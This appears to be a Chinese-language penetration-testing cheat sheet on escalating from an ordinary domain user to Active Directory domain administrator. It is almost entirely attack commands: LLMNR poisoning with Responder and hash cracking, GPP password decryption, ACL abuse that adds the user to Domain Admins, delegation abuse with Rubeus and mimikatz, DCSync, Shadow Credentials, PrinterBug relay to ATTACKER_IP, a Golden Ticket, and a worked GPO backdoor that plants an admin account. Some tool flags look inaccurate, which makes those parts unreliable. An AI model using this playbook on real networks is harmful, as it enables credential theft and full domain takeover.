域权限提升技术
概述
域环境权限提升是从普通域用户到域管理员的关键步骤。本文总结常见提权路径和利用方法。
攻击等级: ⭐⭐⭐⭐⭐
适用场景: 域内渗透、横向移动
信息收集
用户信息
# 当前用户信息
whoami /all
net user %username%
net user %username% /domain
# PowerView
Get-DomainUser -Identity $(whoami) | Select-Object -ExpandProperty Properties
# 查找管理员
Get-DomainGroupMember -Identity "Domain Admins" | Select-Object MemberName
Get-DomainGroupMember -Identity "Enterprise Admins" | Select-Object MemberName
组信息
# 当前用户所属组
net user %username% | findstr /i "Group"
# PowerView
Get-DomainUser -Identity $(whoami) | Select-Object -ExpandProperty MemberOf
# 高权限组
- Domain Admins
- Enterprise Admins
- Administrators
- Account Operators
- Backup Operators
- Server Operators
- Print Operators
计算机信息
# 域内计算机
Get-DomainComputer | Select-Object Name
# 当前用户登录的计算机
Get-DomainUser -Identity $(whoami) | Select-Object LastLogon
# 查找本地管理员
Get-NetLocalGroup -ComputerName TARGET -ListGroups
ACL 信息
# 查找有趣的 ACL
Find-InterestingDomainAcl
# 对当前用户的权限
Get-ObjectAcl -Identity $(whoami) -Rights All
# BloodHound 收集
Sharphound.exe -c All
常见提权路径
1. 组播名称解析中毒 (LLMNR/NBT-NS)
原理: 响应本地名称解析请求,获取 NTLM 哈希。
利用:
# 启动 Responder
python3 Responder.py -I eth0 -v
# 等待受害者
# 自动捕获哈希
# 离线爆破
hashcat -m 5600 Responder.log rockyou.txt
john --format=netntlm Responder.log
2. SMB 共享枚举
原理: 查找可访问的共享,寻找敏感文件。
利用:
# 枚举共享
net view \\TARGET
net use \\TARGET\SHARE
# PowerView
Find-DomainShare
# 查找敏感文件
Get-ChildItem \\TARGET\SHARE\ -Recurse -Include *password*,*credential*,*.xlsx
# 访问共享
dir \\DC\SYSVOL\domain.local\Scripts\
3. GPO 滥用
原理: 组策略对象配置不当,可获取权限。
检测:
# 查找可修改的 GPO
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs |
Where-Object {$_.IdentityReferenceName -eq $(whoami)}
# 查找包含密码的 GPO
Get-DomainGPO | Get-DomainObjectAcl |
Where-Object {$_.ActiveDirectoryRights -match "Write"}
利用:
# 1. 查找 SYSVOL 中的密码
findstr /S /I cpassword \\<FQDN>\sysvol\*.xml
# 2. 解密 GPP 密码
python3 gpp-decrypt.py encrypted_password
# 3. 修改 GPO 添加后门
# 组策略 → 启动脚本 → 添加恶意脚本
4. ACL 权限滥用
原理: AD 对象 ACL 配置不当,可提升权限。
常见权限:
| 权限 |
可利用 |
说明 |
| GenericAll |
✅ |
完全控制 |
| GenericWrite |
✅ |
写权限 |
| WriteOwner |
✅ |
修改所有者 |
| WriteDACL |
✅ |
修改 DACL |
| ForceChangePassword |
✅ |
修改密码 |
| Self (Self-Membership) |
✅ |
添加到组 |
利用:
# ForceChangePassword
net user target_user NewPass123! /domain
# PowerView
Add-DomainGroupMember -Identity "Domain Admins" -Members $(whoami)
# 修改 SPN (Kerberoasting)
Set-DomainUser -Identity target_user -ServicePrincipalNames "MSSQLSvc/target:1433"
# 添加万能钥匙 (Skeleton Key)
# 需要 Replicating Directory Changes
5. unconstrained Delegation
原理: 配置 unconstrained delegation 的服务器可获取用户 TGT。
检测:
# 查找 unconstrained delegation
Get-DomainComputer -TrustedToAuth | Select-Object Name
# PowerView
Get-DomainComputer -Untrusted | Select-Object Name
利用:
# 1. 等待域管理员登录
# 在配置 unconstrained delegation 的服务器上
# 2. 导出 TGT
mimikatz # sekurlsa::tickets /export
# 3. 使用 TGT
mimikatz # kerberos::ptt [0;12345]-2-0-...-Administrator@krbtgt-DOMAIN.kirbi
# 4. 访问域控
dir \\DC.DOMAIN.LOCAL\c$
6. 约束委派 (Constrained Delegation)
原理: 配置约束委派的账户可模拟用户访问特定服务。
检测:
# 查找约束委派
Get-DomainUser -TrustedToAuth | Select-Object Name,msDS-AllowedToDelegateTo
Get-DomainComputer -TrustedToAuth | Select-Object Name,msDS-AllowedToDelegateTo
利用:
# 使用 Rubeus
Rubeus.exe s4u /user:svc_account /rc4:HASH /domain:DOMAIN \
/msdsspn:"CIFS/target.domain.local" /altservice:"CIFS" /ptt
# 访问目标
dir \\target.domain.local\c$
7. 资源委派 (Resource-Based Constrained Delegation)
原理: 目标计算机配置允许特定账户委派。
检测:
# 查找资源委派
Get-DomainComputer -TrustedToAuthFor | Select-Object Name
# PowerView
Get-DomainComputer | Where-Object {$_.msDS-AllowedToActOnBehalfOfOtherIdentity}
利用:
# 1. 获取目标计算机控制权限
# 2. 配置委派
python3 rbcd.py -delegate-from ATTACKER_SVC -delegate-to TARGET_COMPUTER \
-action write DOMAIN/user:password
# 3. S4U 攻击
Rubeus.exe s4u /user:ATTACKER_SVC /rc4:HASH /domain:DOMAIN \
/msdsspn:"HOST/target" /ptt
# 4. 访问目标
8. DCSync
原理: 模拟域控同步,获取所有用户哈希。
前提:
- Replicating Directory Changes
- Replicating Directory Changes All
利用:
# Impacket
python3 secretsdump.py DOMAIN/admin:pass@DC_IP
# Mimikatz
lsadump::dcsync /domain:DOMAIN /user:krbtgt
# 获取所有用户哈希
python3 secretsdump.py DOMAIN/admin:pass@DC_IP -outputfile ntds
9. Shadow Credentials
原理: 添加 Key Credential 链接,无需密码认证。
前提:
- GenericWrite / GenericAll 权限
利用:
# 添加 Key Credential
python3 pywhisker.py -d DOMAIN -u user -p password \
--target target_user --action add
# 获取 TGT
python3 getTGT.py -k -no-pass DOMAIN/target_user
# 使用 TGT
export KRB5CCNAME=target_user.ccache
python3 psexec.py -k -no-pass DOMAIN/target_user@DC
10. Printer Bug
原理: 强制目标机器向攻击者认证。
利用:
# 1. 启动 Responder
python3 Responder.py -I eth0 -v
# 2. 触发 Printer Bug
python3 dementor.py -u attacker -p password DOMAIN/DC_IP
# 或使用 SpoolSample
SpoolSample.exe DC_IP ATTACKER_IP
# 3. 捕获 NTLM 哈希
# Responder 会自动捕获
# 4. Relay 或爆破
python3 ntlmrelayx.py -t smb://DC_IP
实战案例
案例 1: 普通用户到域管理员
# 1. 初始访问
# 钓鱼邮件获得普通域用户
# 2. 信息收集
python3 ldapdomaindump.py -u DOMAIN/user -p password DC_IP
# 3. BloodHound 分析
Sharphound.exe -c All
# 分析最短路径
# 4. 发现 ACL 权限
# 对某服务账号有 GenericWrite
# 5. 配置 SPN
python3 setspn.py -u DOMAIN/user -p password -s "MSSQLSvc/target:1433" target_svc
# 6. Kerberoasting
python3 GetUserSPNs.py DOMAIN/user:password -dc-ip DC_IP -request
# 7. 爆破密码
hashcat -m 13100 hashes.txt rockyou.txt
# 8. 用服务账号 DCSync
python3 secretsdump.py DOMAIN/svc:password@DC_IP
# 9. 获取域管理员权限
python3 psexec.py DOMAIN/administrator:hash@DC_IP
案例 2: 约束委派提权
# 1. 查找约束委派
Get-DomainComputer -TrustedToAuth | Select-Object Name
# 2. 获取委派的服务器权限
# 通过其他漏洞
# 3. 导出票据
mimikatz # sekurlsa::tickets /export
# 4. 模拟域管理员
Rubeus.exe s4u /user:svc_account /ticket:ticket.kirbi \
/msdsspn:"HOST/DC" /altservice:"CIFS" /ptt
# 5. 访问域控
dir \\DC.DOMAIN.LOCAL\c$
案例 3: GPO 后门
# 1. 查找可修改的 GPO
Get-DomainGPO | Get-DomainObjectAcl |
Where-Object {$_.IdentityReferenceName -eq $(whoami)}
# 2. 修改 GPO
# 添加启动脚本
# 3. 脚本内容
powershell -enc "Add-LocalGroupMember -Group Administrators -Member DOMAIN\\backdoor"
# 4. 等待 GPO 应用
# 域内机器自动执行
# 5. 使用后门账号
net use \\TARGET\admin$ /user:backdoor password
工具
PowerView
# 用户枚举
Get-DomainUser
Get-DomainUser -Identity admin
# 组枚举
Get-DomainGroup
Get-DomainGroupMember -Identity "Domain Admins"
# 计算机枚举
Get-DomainComputer
# ACL 枚举
Get-DomainObjectAcl
Find-InterestingDomainAcl
# GPO 枚举
Get-DomainGPO
Get-DomainGPOLocalGroup
BloodHound
# 数据收集
Sharphound.exe -c All
Sharphound.exe -c Session,LoggedOn,Container
# 查询
# 预定义查询
- Find Shortest Path to Domain Admins
- Find Users with Foreign Relations
- Find Unconstrained Delegation
# Cypher 查询
MATCH (u:User)-[:MemberOf*1..]->(g:Group {name:"DOMAIN ADMINS@DOMAIN.LOCAL"}) RETURN u
Impacket
# 信息收集
ldapdomaindump.py DOMAIN/user:password DC_IP
# DCSync
secretsdump.py DOMAIN/user:password@DC_IP
# 执行命令
psexec.py DOMAIN/user:password@TARGET
smbexec.py DOMAIN/user:password@TARGET
wmiexec.py DOMAIN/user:password@TARGET
Mimikatz
# 导出凭证
sekurlsa::logonpasswords
# 导出票据
sekurlsa::tickets /export
# 注入票据
kerberos::ptt ticket.kirbi
# DCSync
lsadump::dcsync /domain:DOMAIN /user:krbtgt
# Golden Ticket
kerberos::golden /user:admin /domain:DOMAIN /sid:SID /krbtgt:HASH /ptt
参考链接